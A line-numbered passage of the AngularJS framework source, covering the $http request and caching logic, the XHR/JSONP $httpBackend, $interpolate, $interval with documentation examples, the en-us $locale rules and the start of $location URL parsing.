8266 forEach(arguments, function(name) {
8267 $http[name] = function(url, config) {
8268 return $http(extend(config || {}, {
8269 method: name,
8270 url: url
8271 }));
8272 };
8273 });
8274 }
8275
8276
8277 function createShortMethodsWithData(name) {
8278 forEach(arguments, function(name) {
8279 $http[name] = function(url, data, config) {
8280 return $http(extend(config || {}, {
8281 method: name,
8282 url: url,
8283 data: data
8284 }));
8285 };
8286 });
8287 }
8288
8289
8290 /**
8291 * Makes the request.
8292 *
8293 * !!! ACCESSES CLOSURE VARS:
8294 * $httpBackend, defaults, $log, $rootScope, defaultCache, $http.pendingRequests
8295 */
8296 function sendReq(config, reqData, reqHeaders) {
8297 var deferred = $q.defer(),
8298 promise = deferred.promise,
8299 cache,
8300 cachedResp,
8301 url = buildUrl(config.url, config.params);
8302
8303 $http.pendingRequests.push(config);
8304 promise.then(removePendingReq, removePendingReq);
8305
8306
8307 if ((config.cache || defaults.cache) && config.cache !== false &&
8308 (config.method === 'GET' || config.method === 'JSONP')) {
8309 cache = isObject(config.cache) ? config.cache
8310 : isObject(defaults.cache) ? defaults.cache
8311 : defaultCache;
8312 }
8313
8314 if (cache) {
8315 cachedResp = cache.get(url);
8316 if (isDefined(cachedResp)) {
8317 if (isPromiseLike(cachedResp)) {
8318 // cached request has already been sent, but there is no response yet
8319 cachedResp.then(removePendingReq, removePendingReq);
8320 return cachedResp;
8321 } else {
8322 // serving from cache
8323 if (isArray(cachedResp)) {
8324 resolvePromise(cachedResp[1], cachedResp[0], shallowCopy(cachedResp[2]), cachedResp[3]);
8325 } else {
8326 resolvePromise(cachedResp, 200, {}, 'OK');
8327 }
8328 }
8329 } else {
8330 // put the promise for the non-transformed response into cache as a placeholder
8331 cache.put(url, promise);
8332 }
8333 }
8334
8335
8336 // if we won't have the response in cache, set the xsrf headers and
8337 // send the request to the backend
8338 if (isUndefined(cachedResp)) {
8339 var xsrfValue = urlIsSameOrigin(config.url)
8340 ? $browser.cookies()[config.xsrfCookieName || defaults.xsrfCookieName]
8341 : undefined;
8342 if (xsrfValue) {
8343 reqHeaders[(config.xsrfHeaderName || defaults.xsrfHeaderName)] = xsrfValue;
8344 }
8345
8346 $httpBackend(config.method, url, reqData, done, reqHeaders, config.timeout,
8347 config.withCredentials, config.responseType);
8348 }
8349
8350 return promise;
8351
8352
8353 /**
8354 * Callback registered to $httpBackend():
8355 * - caches the response if desired
8356 * - resolves the raw $http promise
8357 * - calls $apply
8358 */
8359 function done(status, response, headersString, statusText) {
8360 if (cache) {
8361 if (isSuccess(status)) {
8362 cache.put(url, [status, response, parseHeaders(headersString), statusText]);
8363 } else {
8364 // remove promise from the cache
8365 cache.remove(url);
8366 }
8367 }
8368
8369 resolvePromise(response, status, headersString, statusText);
8370 if (!$rootScope.$$phase) $rootScope.$apply();
8371 }
8372
8373
8374 /**
8375 * Resolves the raw $http promise.
8376 */
8377 function resolvePromise(response, status, headers, statusText) {
8378 // normalize internal statuses to 0
8379 status = Math.max(status, 0);
8380
8381 (isSuccess(status) ? deferred.resolve : deferred.reject)({
8382 data: response,
8383 status: status,
8384 headers: headersGetter(headers),
8385 config: config,
8386 statusText : statusText
8387 });
8388 }
8389
8390
8391 function removePendingReq() {
8392 var idx = indexOf($http.pendingRequests, config);
8393 if (idx !== -1) $http.pendingRequests.splice(idx, 1);
8394 }
8395 }
8396
8397
8398 function buildUrl(url, params) {
8399 if (!params) return url;
8400 var parts = [];
8401 forEachSorted(params, function(value, key) {
8402 if (value === null || isUndefined(value)) return;
8403 if (!isArray(value)) value = [value];
8404
8405 forEach(value, function(v) {
8406 if (isObject(v)) {
8407 if (isDate(v)){
8408 v = v.toISOString();
8409 } else if (isObject(v)) {
8410 v = toJson(v);
8411 }
8412 }
8413 parts.push(encodeUriQuery(key) + '=' +
8414 encodeUriQuery(v));
8415 });
8416 });
8417 if(parts.length > 0) {
8418 url += ((url.indexOf('?') == -1) ? '?' : '&') + parts.join('&');
8419 }
8420 return url;
8421 }
8422 }];
8423 }
8424
8425 function createXhr(method) {
8426 //if IE and the method is not RFC2616 compliant, or if XMLHttpRequest
8427 //is not available, try getting an ActiveXObject. Otherwise, use XMLHttpRequest
8428 //if it is available
8429 if (msie <= 8 && (!method.match(/^(get|post|head|put|delete|options)$/i) ||
8430 !window.XMLHttpRequest)) {
8431 return new window.ActiveXObject("Microsoft.XMLHTTP");
8432 } else if (window.XMLHttpRequest) {
8433 return new window.XMLHttpRequest();
8434 }
8435
8436 throw minErr('$httpBackend')('noxhr', "This browser does not support XMLHttpRequest.");
8437 }
8438
8439 /**
8440 * @ngdoc service
8441 * @name $httpBackend
8442 * @requires $window
8443 * @requires $document
8444 *
8445 * @description
8446 * HTTP backend used by the {@link ng.$http service} that delegates to
8447 * XMLHttpRequest object or JSONP and deals with browser incompatibilities.
8448 *
8449 * You should never need to use this service directly, instead use the higher-level abstractions:
8450 * {@link ng.$http $http} or {@link ngResource.$resource $resource}.
8451 *
8452 * During testing this implementation is swapped with {@link ngMock.$httpBackend mock
8453 * $httpBackend} which can be trained with responses.
8454 */
8455 function $HttpBackendProvider() {
8456 this.$get = ['$browser', '$window', '$document', function($browser, $window, $document) {
8457 return createHttpBackend($browser, createXhr, $browser.defer, $window.angular.callbacks, $document[0]);
8458 }];
8459 }
8460
8461 function createHttpBackend($browser, createXhr, $browserDefer, callbacks, rawDocument) {
8462 var ABORTED = -1;
8463
8464 // TODO(vojta): fix the signature
8465 return function(method, url, post, callback, headers, timeout, withCredentials, responseType) {
8466 var status;
8467 $browser.$$incOutstandingRequestCount();
8468 url = url || $browser.url();
8469
8470 if (lowercase(method) == 'jsonp') {
8471 var callbackId = '_' + (callbacks.counter++).toString(36);
8472 callbacks[callbackId] = function(data) {
8473 callbacks[callbackId].data = data;
8474 callbacks[callbackId].called = true;
8475 };
8476
8477 var jsonpDone = jsonpReq(url.replace('JSON_CALLBACK', 'angular.callbacks.' + callbackId),
8478 callbackId, function(status, text) {
8479 completeRequest(callback, status, callbacks[callbackId].data, "", text);
8480 callbacks[callbackId] = noop;
8481 });
8482 } else {
8483
8484 var xhr = createXhr(method);
8485
8486 xhr.open(method, url, true);
8487 forEach(headers, function(value, key) {
8488 if (isDefined(value)) {
8489 xhr.setRequestHeader(key, value);
8490 }
8491 });
8492
8493 // In IE6 and 7, this might be called synchronously when xhr.send below is called and the
8494 // response is in the cache. the promise api will ensure that to the app code the api is
8495 // always async
8496 xhr.onreadystatechange = function() {
8497 // onreadystatechange might get called multiple times with readyState === 4 on mobile webkit caused by
8498 // xhrs that are resolved while the app is in the background (see #5426).
8499 // since calling completeRequest sets the `xhr` variable to null, we just check if it's not null before
8500 // continuing
8501 //
8502 // we can't set xhr.onreadystatechange to undefined or delete it because that breaks IE8 (method=PATCH) and
8503 // Safari respectively.
8504 if (xhr && xhr.readyState == 4) {
8505 var responseHeaders = null,
8506 response = null,
8507 statusText = '';
8508
8509 if(status !== ABORTED) {
8510 responseHeaders = xhr.getAllResponseHeaders();
8511
8512 // responseText is the old-school way of retrieving response (supported by IE8 & 9)
8513 // response/responseType properties were introduced in XHR Level2 spec (supported by IE10)
8514 response = ('response' in xhr) ? xhr.response : xhr.responseText;
8515 }
8516
8517 // Accessing statusText on an aborted xhr object will
8518 // throw an 'c00c023f error' in IE9 and lower, don't touch it.
8519 if (!(status === ABORTED && msie < 10)) {
8520 statusText = xhr.statusText;
8521 }
8522
8523 completeRequest(callback,
8524 status || xhr.status,
8525 response,
8526 responseHeaders,
8527 statusText);
8528 }
8529 };
8530
8531 if (withCredentials) {
8532 xhr.withCredentials = true;
8533 }
8534
8535 if (responseType) {
8536 try {
8537 xhr.responseType = responseType;
8538 } catch (e) {
8539 // WebKit added support for the json responseType value on 09/03/2013
8540 // https://bugs.webkit.org/show_bug.cgi?id=73648. Versions of Safari prior to 7 are
8541 // known to throw when setting the value "json" as the response type. Other older
8542 // browsers implementing the responseType
8543 //
8544 // The json response type can be ignored if not supported, because JSON payloads are
8545 // parsed on the client-side regardless.
8546 if (responseType !== 'json') {
8547 throw e;
8548 }
8549 }
8550 }
8551
8552 xhr.send(post || null);
8553 }
8554
8555 if (timeout > 0) {
8556 var timeoutId = $browserDefer(timeoutRequest, timeout);
8557 } else if (isPromiseLike(timeout)) {
8558 timeout.then(timeoutRequest);
8559 }
8560
8561
8562 function timeoutRequest() {
8563 status = ABORTED;
8564 jsonpDone && jsonpDone();
8565 xhr && xhr.abort();
8566 }
8567
8568 function completeRequest(callback, status, response, headersString, statusText) {
8569 // cancel timeout and subsequent timeout promise resolution
8570 timeoutId && $browserDefer.cancel(timeoutId);
8571 jsonpDone = xhr = null;
8572
8573 // fix status code when it is 0 (0 status is undocumented).
8574 // Occurs when accessing file resources or on Android 4.1 stock browser
8575 // while retrieving files from application cache.
8576 if (status === 0) {
8577 status = response ? 200 : urlResolve(url).protocol == 'file' ? 404 : 0;
8578 }
8579
8580 // normalize IE bug (http://bugs.jquery.com/ticket/1450)
8581 status = status === 1223 ? 204 : status;
8582 statusText = statusText || '';
8583
8584 callback(status, response, headersString, statusText);
8585 $browser.$$completeOutstandingRequest(noop);
8586 }
8587 };
8588
8589 function jsonpReq(url, callbackId, done) {
8590 // we can't use jQuery/jqLite here because jQuery does crazy shit with script elements, e.g.:
8591 // - fetches local scripts via XHR and evals them
8592 // - adds and immediately removes script elements from the document
8593 var script = rawDocument.createElement('script'), callback = null;
8594 script.type = "text/javascript";
8595 script.src = url;
8596 script.async = true;
8597
8598 callback = function(event) {
8599 removeEventListenerFn(script, "load", callback);
8600 removeEventListenerFn(script, "error", callback);
8601 rawDocument.body.removeChild(script);
8602 script = null;
8603 var status = -1;
8604 var text = "unknown";
8605
8606 if (event) {
8607 if (event.type === "load" && !callbacks[callbackId].called) {
8608 event = { type: "error" };
8609 }
8610 text = event.type;
8611 status = event.type === "error" ? 404 : 200;
8612 }
8613
8614 if (done) {
8615 done(status, text);
8616 }
8617 };
8618
8619 addEventListenerFn(script, "load", callback);
8620 addEventListenerFn(script, "error", callback);
8621
8622 if (msie <= 8) {
8623 script.onreadystatechange = function() {
8624 if (isString(script.readyState) && /loaded|complete/.test(script.readyState)) {
8625 script.onreadystatechange = null;
8626 callback({
8627 type: 'load'
8628 });
8629 }
8630 };
8631 }
8632
8633 rawDocument.body.appendChild(script);
8634 return callback;
8635 }
8636 }
8637
8638 var $interpolateMinErr = minErr('$interpolate');
8639
8640 /**
8641 * @ngdoc provider
8642 * @name $interpolateProvider
8643 * @kind function
8644 *
8645 * @description
8646 *
8647 * Used for configuring the interpolation markup. Defaults to `{{` and `}}`.
8648 *
8649 * @example
8650 <example module="customInterpolationApp">
8651 <file name="index.html">
8652 <script>
8653 var customInterpolationApp = angular.module('customInterpolationApp', []);
8654
8655 customInterpolationApp.config(function($interpolateProvider) {
8656 $interpolateProvider.startSymbol('//');
8657 $interpolateProvider.endSymbol('//');
8658 });
8659
8660
8661 customInterpolationApp.controller('DemoController', function() {
8662 this.label = "This binding is brought you by // interpolation symbols.";
8663 });
8664 </script>
8665 <div ng-app="App" ng-controller="DemoController as demo">
8666 //demo.label//
8667 </div>
8668 </file>
8669 <file name="protractor.js" type="protractor">
8670 it('should interpolate binding with custom symbols', function() {
8671 expect(element(by.binding('demo.label')).getText()).toBe('This binding is brought you by // interpolation symbols.');
8672 });
8673 </file>
8674 </example>
8675 */
8676 function $InterpolateProvider() {
8677 var startSymbol = '{{';
8678 var endSymbol = '}}';
8679
8680 /**
8681 * @ngdoc method
8682 * @name $interpolateProvider#startSymbol
8683 * @description
8684 * Symbol to denote start of expression in the interpolated string. Defaults to `{{`.
8685 *
8686 * @param {string=} value new value to set the starting symbol to.
8687 * @returns {string|self} Returns the symbol when used as getter and self if used as setter.
8688 */
8689 this.startSymbol = function(value){
8690 if (value) {
8691 startSymbol = value;
8692 return this;
8693 } else {
8694 return startSymbol;
8695 }
8696 };
8697
8698 /**
8699 * @ngdoc method
8700 * @name $interpolateProvider#endSymbol
8701 * @description
8702 * Symbol to denote the end of expression in the interpolated string. Defaults to `}}`.
8703 *
8704 * @param {string=} value new value to set the ending symbol to.
8705 * @returns {string|self} Returns the symbol when used as getter and self if used as setter.
8706 */
8707 this.endSymbol = function(value){
8708 if (value) {
8709 endSymbol = value;
8710 return this;
8711 } else {
8712 return endSymbol;
8713 }
8714 };
8715
8716
8717 this.$get = ['$parse', '$exceptionHandler', '$sce', function($parse, $exceptionHandler, $sce) {
8718 var startSymbolLength = startSymbol.length,
8719 endSymbolLength = endSymbol.length;
8720
8721 /**
8722 * @ngdoc service
8723 * @name $interpolate
8724 * @kind function
8725 *
8726 * @requires $parse
8727 * @requires $sce
8728 *
8729 * @description
8730 *
8731 * Compiles a string with markup into an interpolation function. This service is used by the
8732 * HTML {@link ng.$compile $compile} service for data binding. See
8733 * {@link ng.$interpolateProvider $interpolateProvider} for configuring the
8734 * interpolation markup.
8735 *
8736 *
8737 * ```js
8738 * var $interpolate = ...; // injected
8739 * var exp = $interpolate('Hello {{name | uppercase}}!');
8740 * expect(exp({name:'Angular'}).toEqual('Hello ANGULAR!');
8741 * ```
8742 *
8743 *
8744 * @param {string} text The text with markup to interpolate.
8745 * @param {boolean=} mustHaveExpression if set to true then the interpolation string must have
8746 * embedded expression in order to return an interpolation function. Strings with no
8747 * embedded expression will return null for the interpolation function.
8748 * @param {string=} trustedContext when provided, the returned function passes the interpolated
8749 * result through {@link ng.$sce#getTrusted $sce.getTrusted(interpolatedResult,
8750 * trustedContext)} before returning it. Refer to the {@link ng.$sce $sce} service that
8751 * provides Strict Contextual Escaping for details.
8752 * @returns {function(context)} an interpolation function which is used to compute the
8753 * interpolated string. The function has these parameters:
8754 *
8755 * * `context`: an object against which any expressions embedded in the strings are evaluated
8756 * against.
8757 *
8758 */
8759 function $interpolate(text, mustHaveExpression, trustedContext) {
8760 var startIndex,
8761 endIndex,
8762 index = 0,
8763 parts = [],
8764 length = text.length,
8765 hasInterpolation = false,
8766 fn,
8767 exp,
8768 concat = [];
8769
8770 while(index < length) {
8771 if ( ((startIndex = text.indexOf(startSymbol, index)) != -1) &&
8772 ((endIndex = text.indexOf(endSymbol, startIndex + startSymbolLength)) != -1) ) {
8773 (index != startIndex) && parts.push(text.substring(index, startIndex));
8774 parts.push(fn = $parse(exp = text.substring(startIndex + startSymbolLength, endIndex)));
8775 fn.exp = exp;
8776 index = endIndex + endSymbolLength;
8777 hasInterpolation = true;
8778 } else {
8779 // we did not find anything, so we have to add the remainder to the parts array
8780 (index != length) && parts.push(text.substring(index));
8781 index = length;
8782 }
8783 }
8784
8785 if (!(length = parts.length)) {
8786 // we added, nothing, must have been an empty string.
8787 parts.push('');
8788 length = 1;
8789 }
8790
8791 // Concatenating expressions makes it hard to reason about whether some combination of
8792 // concatenated values are unsafe to use and could easily lead to XSS. By requiring that a
8793 // single expression be used for iframe[src], object[src], etc., we ensure that the value
8794 // that's used is assigned or constructed by some JS code somewhere that is more testable or
8795 // make it obvious that you bound the value to some user controlled value. This helps reduce
8796 // the load when auditing for XSS issues.
8797 if (trustedContext && parts.length > 1) {
8798 throw $interpolateMinErr('noconcat',
8799 "Error while interpolating: {0}\nStrict Contextual Escaping disallows " +
8800 "interpolations that concatenate multiple expressions when a trusted value is " +
8801 "required. See http://docs.angularjs.org/api/ng.$sce", text);
8802 }
8803
8804 if (!mustHaveExpression || hasInterpolation) {
8805 concat.length = length;
8806 fn = function(context) {
8807 try {
8808 for(var i = 0, ii = length, part; i<ii; i++) {
8809 if (typeof (part = parts[i]) == 'function') {
8810 part = part(context);
8811 if (trustedContext) {
8812 part = $sce.getTrusted(trustedContext, part);
8813 } else {
8814 part = $sce.valueOf(part);
8815 }
8816 if (part == null) { // null || undefined
8817 part = '';
8818 } else {
8819 switch (typeof part) {
8820 case 'string':
8821 {
8822 break;
8823 }
8824 case 'number':
8825 {
8826 part = '' + part;
8827 break;
8828 }
8829 default:
8830 {
8831 part = toJson(part);
8832 }
8833 }
8834 }
8835 }
8836 concat[i] = part;
8837 }
8838 return concat.join('');
8839 }
8840 catch(err) {
8841 var newErr = $interpolateMinErr('interr', "Can't interpolate: {0}\n{1}", text,
8842 err.toString());
8843 $exceptionHandler(newErr);
8844 }
8845 };
8846 fn.exp = text;
8847 fn.parts = parts;
8848 return fn;
8849 }
8850 }
8851
8852
8853 /**
8854 * @ngdoc method
8855 * @name $interpolate#startSymbol
8856 * @description
8857 * Symbol to denote the start of expression in the interpolated string. Defaults to `{{`.
8858 *
8859 * Use {@link ng.$interpolateProvider#startSymbol $interpolateProvider#startSymbol} to change
8860 * the symbol.
8861 *
8862 * @returns {string} start symbol.
8863 */
8864 $interpolate.startSymbol = function() {
8865 return startSymbol;
8866 };
8867
8868
8869 /**
8870 * @ngdoc method
8871 * @name $interpolate#endSymbol
8872 * @description
8873 * Symbol to denote the end of expression in the interpolated string. Defaults to `}}`.
8874 *
8875 * Use {@link ng.$interpolateProvider#endSymbol $interpolateProvider#endSymbol} to change
8876 * the symbol.
8877 *
8878 * @returns {string} end symbol.
8879 */
8880 $interpolate.endSymbol = function() {
8881 return endSymbol;
8882 };
8883
8884 return $interpolate;
8885 }];
8886 }
8887
8888 function $IntervalProvider() {
8889 this.$get = ['$rootScope', '$window', '$q',
8890 function($rootScope, $window, $q) {
8891 var intervals = {};
8892
8893
8894 /**
8895 * @ngdoc service
8896 * @name $interval
8897 *
8898 * @description
8899 * Angular's wrapper for `window.setInterval`. The `fn` function is executed every `delay`
8900 * milliseconds.
8901 *
8902 * The return value of registering an interval function is a promise. This promise will be
8903 * notified upon each tick of the interval, and will be resolved after `count` iterations, or
8904 * run indefinitely if `count` is not defined. The value of the notification will be the
8905 * number of iterations that have run.
8906 * To cancel an interval, call `$interval.cancel(promise)`.
8907 *
8908 * In tests you can use {@link ngMock.$interval#flush `$interval.flush(millis)`} to
8909 * move forward by `millis` milliseconds and trigger any functions scheduled to run in that
8910 * time.
8911 *
8912 * <div class="alert alert-warning">
8913 * **Note**: Intervals created by this service must be explicitly destroyed when you are finished
8914 * with them. In particular they are not automatically destroyed when a controller's scope or a
8915 * directive's element are destroyed.
8916 * You should take this into consideration and make sure to always cancel the interval at the
8917 * appropriate moment. See the example below for more details on how and when to do this.
8918 * </div>
8919 *
8920 * @param {function()} fn A function that should be called repeatedly.
8921 * @param {number} delay Number of milliseconds between each function call.
8922 * @param {number=} [count=0] Number of times to repeat. If not set, or 0, will repeat
8923 * indefinitely.
8924 * @param {boolean=} [invokeApply=true] If set to `false` skips model dirty checking, otherwise
8925 * will invoke `fn` within the {@link ng.$rootScope.Scope#$apply $apply} block.
8926 * @returns {promise} A promise which will be notified on each iteration.
8927 *
8928 * @example
8929 * <example module="intervalExample">
8930 * <file name="index.html">
8931 * <script>
8932 * angular.module('intervalExample', [])
8933 * .controller('ExampleController', ['$scope', '$interval',
8934 * function($scope, $interval) {
8935 * $scope.format = 'M/d/yy h:mm:ss a';
8936 * $scope.blood_1 = 100;
8937 * $scope.blood_2 = 120;
8938 *
8939 * var stop;
8940 * $scope.fight = function() {
8941 * // Don't start a new fight if we are already fighting
8942 * if ( angular.isDefined(stop) ) return;
8943 *
8944 * stop = $interval(function() {
8945 * if ($scope.blood_1 > 0 && $scope.blood_2 > 0) {
8946 * $scope.blood_1 = $scope.blood_1 - 3;
8947 * $scope.blood_2 = $scope.blood_2 - 4;
8948 * } else {
8949 * $scope.stopFight();
8950 * }
8951 * }, 100);
8952 * };
8953 *
8954 * $scope.stopFight = function() {
8955 * if (angular.isDefined(stop)) {
8956 * $interval.cancel(stop);
8957 * stop = undefined;
8958 * }
8959 * };
8960 *
8961 * $scope.resetFight = function() {
8962 * $scope.blood_1 = 100;
8963 * $scope.blood_2 = 120;
8964 * };
8965 *
8966 * $scope.$on('$destroy', function() {
8967 * // Make sure that the interval is destroyed too
8968 * $scope.stopFight();
8969 * });
8970 * }])
8971 * // Register the 'myCurrentTime' directive factory method.
8972 * // We inject $interval and dateFilter service since the factory method is DI.
8973 * .directive('myCurrentTime', ['$interval', 'dateFilter',
8974 * function($interval, dateFilter) {
8975 * // return the directive link function. (compile function not needed)
8976 * return function(scope, element, attrs) {
8977 * var format, // date format
8978 * stopTime; // so that we can cancel the time updates
8979 *
8980 * // used to update the UI
8981 * function updateTime() {
8982 * element.text(dateFilter(new Date(), format));
8983 * }
8984 *
8985 * // watch the expression, and update the UI on change.
8986 * scope.$watch(attrs.myCurrentTime, function(value) {
8987 * format = value;
8988 * updateTime();
8989 * });
8990 *
8991 * stopTime = $interval(updateTime, 1000);
8992 *
8993 * // listen on DOM destroy (removal) event, and cancel the next UI update
8994 * // to prevent updating time after the DOM element was removed.
8995 * element.bind('$destroy', function() {
8996 * $interval.cancel(stopTime);
8997 * });
8998 * }
8999 * }]);
9000 * </script>
9001 *
9002 * <div>
9003 * <div ng-controller="ExampleController">
9004 * Date format: <input ng-model="format"> <hr/>
9005 * Current time is: <span my-current-time="format"></span>
9006 * <hr/>
9007 * Blood 1 : <font color='red'>{{blood_1}}</font>
9008 * Blood 2 : <font color='red'>{{blood_2}}</font>
9009 * <button type="button" data-ng-click="fight()">Fight</button>
9010 * <button type="button" data-ng-click="stopFight()">StopFight</button>
9011 * <button type="button" data-ng-click="resetFight()">resetFight</button>
9012 * </div>
9013 * </div>
9014 *
9015 * </file>
9016 * </example>
9017 */
9018 function interval(fn, delay, count, invokeApply) {
9019 var setInterval = $window.setInterval,
9020 clearInterval = $window.clearInterval,
9021 deferred = $q.defer(),
9022 promise = deferred.promise,
9023 iteration = 0,
9024 skipApply = (isDefined(invokeApply) && !invokeApply);
9025
9026 count = isDefined(count) ? count : 0;
9027
9028 promise.then(null, null, fn);
9029
9030 promise.$$intervalId = setInterval(function tick() {
9031 deferred.notify(iteration++);
9032
9033 if (count > 0 && iteration >= count) {
9034 deferred.resolve(iteration);
9035 clearInterval(promise.$$intervalId);
9036 delete intervals[promise.$$intervalId];
9037 }
9038
9039 if (!skipApply) $rootScope.$apply();
9040
9041 }, delay);
9042
9043 intervals[promise.$$intervalId] = deferred;
9044
9045 return promise;
9046 }
9047
9048
9049 /**
9050 * @ngdoc method
9051 * @name $interval#cancel
9052 *
9053 * @description
9054 * Cancels a task associated with the `promise`.
9055 *
9056 * @param {promise} promise returned by the `$interval` function.
9057 * @returns {boolean} Returns `true` if the task was successfully canceled.
9058 */
9059 interval.cancel = function(promise) {
9060 if (promise && promise.$$intervalId in intervals) {
9061 intervals[promise.$$intervalId].reject('canceled');
9062 $window.clearInterval(promise.$$intervalId);
9063 delete intervals[promise.$$intervalId];
9064 return true;
9065 }
9066 return false;
9067 };
9068
9069 return interval;
9070 }];
9071 }
9072
9073 /**
9074 * @ngdoc service
9075 * @name $locale
9076 *
9077 * @description
9078 * $locale service provides localization rules for various Angular components. As of right now the
9079 * only public api is:
9080 *
9081 * * `id` – `{string}` – locale id formatted as `languageId-countryId` (e.g. `en-us`)
9082 */
9083 function $LocaleProvider(){
9084 this.$get = function() {
9085 return {
9086 id: 'en-us',
9087
9088 NUMBER_FORMATS: {
9089 DECIMAL_SEP: '.',
9090 GROUP_SEP: ',',
9091 PATTERNS: [
9092 { // Decimal Pattern
9093 minInt: 1,
9094 minFrac: 0,
9095 maxFrac: 3,
9096 posPre: '',
9097 posSuf: '',
9098 negPre: '-',
9099 negSuf: '',
9100 gSize: 3,
9101 lgSize: 3
9102 },{ //Currency Pattern
9103 minInt: 1,
9104 minFrac: 2,
9105 maxFrac: 2,
9106 posPre: '\u00A4',
9107 posSuf: '',
9108 negPre: '(\u00A4',
9109 negSuf: ')',
9110 gSize: 3,
9111 lgSize: 3
9112 }
9113 ],
9114 CURRENCY_SYM: '$'
9115 },
9116
9117 DATETIME_FORMATS: {
9118 MONTH:
9119 'January,February,March,April,May,June,July,August,September,October,November,December'
9120 .split(','),
9121 SHORTMONTH: 'Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec'.split(','),
9122 DAY: 'Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday'.split(','),
9123 SHORTDAY: 'Sun,Mon,Tue,Wed,Thu,Fri,Sat'.split(','),
9124 AMPMS: ['AM','PM'],
9125 medium: 'MMM d, y h:mm:ss a',
9126 short: 'M/d/yy h:mm a',
9127 fullDate: 'EEEE, MMMM d, y',
9128 longDate: 'MMMM d, y',
9129 mediumDate: 'MMM d, y',
9130 shortDate: 'M/d/yy',
9131 mediumTime: 'h:mm:ss a',
9132 shortTime: 'h:mm a'
9133 },
9134
9135 pluralCat: function(num) {
9136 if (num === 1) {
9137 return 'one';
9138 }
9139 return 'other';
9140 }
9141 };
9142 };
9143 }
9144
9145 var PATH_MATCH = /^([^\?#]*)(\?([^#]*))?(#(.*))?$/,
9146 DEFAULT_PORTS = {'http': 80, 'https': 443, 'ftp': 21};
9147 var $locationMinErr = minErr('$location');
9148
9149
9150 /**
9151 * Encode path using encodeUriSegment, ignoring forward slashes
9152 *
9153 * @param {string} path Path to encode
9154 * @returns {string}
9155 */
9156 function encodePath(path) {
9157 var segments = path.split('/'),
9158 i = segments.length;
9159
9160 while (i--) {
9161 segments[i] = encodeUriSegment(segments[i]);
9162 }
9163
9164 return segments.join('/');
9165 }
9166
9167 function parseAbsoluteUrl(absoluteUrl, locationObj, appBase) {
9168 var parsedUrl = urlResolve(absoluteUrl, appBase);
9169
9170 locationObj.$$protocol = parsedUrl.protocol;
9171 locationObj.$$host = parsedUrl.hostname;
9172 locationObj.$$port = int(parsedUrl.port) || DEFAULT_PORTS[parsedUrl.protocol] || null;
9173 }
9174
9175
9176 function parseAppUrl(relativeUrl, locationObj, appBase) {
9177 var prefixed = (relativeUrl.charAt(0) !== '/');
9178 if (prefixed) {
9179 relativeUrl = '/' + relativeUrl;
9180 }
9181 var match = urlResolve(relativeUrl, appBase);
9182 locationObj.$$path = decodeURIComponent(prefixed && match.pathname.charAt(0) === '/' ?
9183 match.pathname.substring(1) : match.pathname);
9184 locationObj.$$search = parseKeyValue(match.search);
9185 locationObj.$$hash = decodeURIComponent(match.hash);
9186
9187 // make sure path starts with '/';
9188 if (locationObj.$$path && locationObj.$$path.charAt(0) != '/') {
9189 locationObj.$$path = '/' + locationObj.$$path;
9190 }
9191 }
9192
9193
9194 /**
9195 *
9196 * @param {string} begin
9197 * @param {string} whole
9198 * @returns {string} returns text from whole after begin or undefined if it does not begin with
9199 * expected string.
9200 */
9201 function beginsWith(begin, whole) {
9202 if (whole.indexOf(begin) === 0) {
9203 return whole.substr(begin.length);
9204 }
9205 }
9206
9207
9208 function stripHash(url) {
9209 var index = url.indexOf('#');
9210 return index == -1 ? url : url.substr(0, index);
9211 }
9212
9213
9214 function stripFile(url) {
9215 return url.substr(0, stripHash(url).lastIndexOf('/') + 1);
9216 }
9217
9218 /* return the server only (scheme://host:port) */
9219 function serverBase(url) {
9220 return url.substring(0, url.indexOf('/', url.indexOf('//') + 2));
9221 }
9222
9223
9224 /**
9225 * LocationHtml5Url represents an url
9226 * This object is exposed as $location service when HTML5 mode is enabled and supported
9227 *
9228 * @constructor
9229 * @param {string} appBase application base URL
9230 * @param {string} basePrefix url path prefix
9231 */
9232 function LocationHtml5Url(appBase, basePrefix) {
9233 this.$$html5 = true;
9234 basePrefix = basePrefix || '';
9235 var appBaseNoFile = stripFile(appBase);
9236 parseAbsoluteUrl(appBase, this, appBase);
9237
9238
9239 /**
9240 * Parse given html5 (regular) url string into properties
9241 * @param {string} newAbsoluteUrl HTML5 url
9242 * @private
9243 */
9244 this.$$parse = function(url) {
9245 var pathUrl = beginsWith(appBaseNoFile, url);
9246 if (!isString(pathUrl)) {
9247 throw $locationMinErr('ipthprfx', 'Invalid url "{0}", missing path prefix "{1}".', url,
9248 appBaseNoFile);
9249 }
9250
9251 parseAppUrl(pathUrl, this, appBase);
9252
9253 if (!this.$$path) {
9254 this.$$path = '/';
9255 }
9256
9257 this.$$compose();
9258 };
9259
9260 /**
9261 * Compose url and update `absUrl` property
9262 * @private
9263 */
9264 this.$$compose = function() {
9265 var search = toKeyValue(this.$$search),
9266 hash = this.$$hash ? '#' + encodeUriSegment(this.$$hash) : '';
9267
9268 this.$$url = encodePath(this.$$path) + (search ? '?' + search : '') + hash;
9269 this.$$absUrl = appBaseNoFile + this.$$url.substr(1); // first char is always '/'
9270 };
9271
9272 this.$$rewrite = function(url) {
9273 var appUrl, prevAppUrl;
9274
9275 if ( (appUrl = beginsWith(appBase, url)) !== undefined ) {
9276 prevAppUrl = appUrl;
9277 if ( (appUrl = beginsWith(basePrefix, appUrl)) !== undefined ) {
9278 return appBaseNoFile + (beginsWith('/', appUrl) || appUrl);
9279 } else {
9280 return appBase + prevAppUrl;
9281 }
9282 } else if ( (appUrl = beginsWith(appBaseNoFile, url)) !== undefined ) {
9283 return appBaseNoFile + appUrl;
9284 } else if (appBaseNoFile == url + '/') {
9285 return appBaseNoFile;
9286 }
9287 };
9288 }
9289
9290
9291 /**
9292 * LocationHashbangUrl represents url
9293 * This object is exposed as $location service when developer doesn't opt into html5 mode.
9294 * It also serves as the base class for html5 mode fallback on legacy browsers.
9295 *
9296 * @constructor
9297 * @param {string} appBase application base URL
9298 * @param {string} hashPrefix hashbang prefix
9299 */
9300 function LocationHashbangUrl(appBase, hashPrefix) {
9301 var appBaseNoFile = stripFile(appBase);
9302
9303 parseAbsoluteUrl(appBase, this, appBase);
9304
9305
9306 /**
9307 * Parse given hashbang url into properties
9308 * @param {string} url Hashbang url
9309 * @private
9310 */
9311 this.$$parse = function(url) {
9312 var withoutBaseUrl = beginsWith(appBase, url) || beginsWith(appBaseNoFile, url);
9313 var withoutHashUrl = withoutBaseUrl.charAt(0) == '#'
